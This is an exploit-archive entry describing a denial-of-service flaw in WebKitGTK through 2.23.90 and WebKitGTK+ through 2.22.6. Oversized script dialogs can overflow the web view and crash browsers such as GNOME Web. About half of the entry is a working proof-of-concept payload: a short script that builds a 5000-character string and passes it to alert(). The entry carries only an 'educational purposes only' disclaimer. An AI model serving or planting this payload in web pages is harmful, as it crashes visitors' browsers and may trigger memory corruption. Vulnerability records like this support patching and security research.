Webkitgtk 2.23.90 / webkitgtk+ 2.22.6 denial of service Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-02-28 |
Type : dos |
Platform : linux
This exploit / vulnerability Webkitgtk 2.23.90 / webkitgtk+ 2.22.6 denial of service is for educational purposes only and if it is used you will do on your own risk!
## Summary:
The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
WebKitGTK+ through 2.22.6 and other products, does not prevent the script
dialog size from exceeding the web view size, which allows remote attackers
to cause a denial of service (Buffer Overflow) or possibly have unspecified
other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
Epiphany).
## PoC:
<script>
var a = '';
for (var i = 1; i <= 5000; i++)
{
a += 'A';
}
alert(a);
</script>
Webkitgtk 2.23.90 / webkitgtk+ 2.22.6 denial of service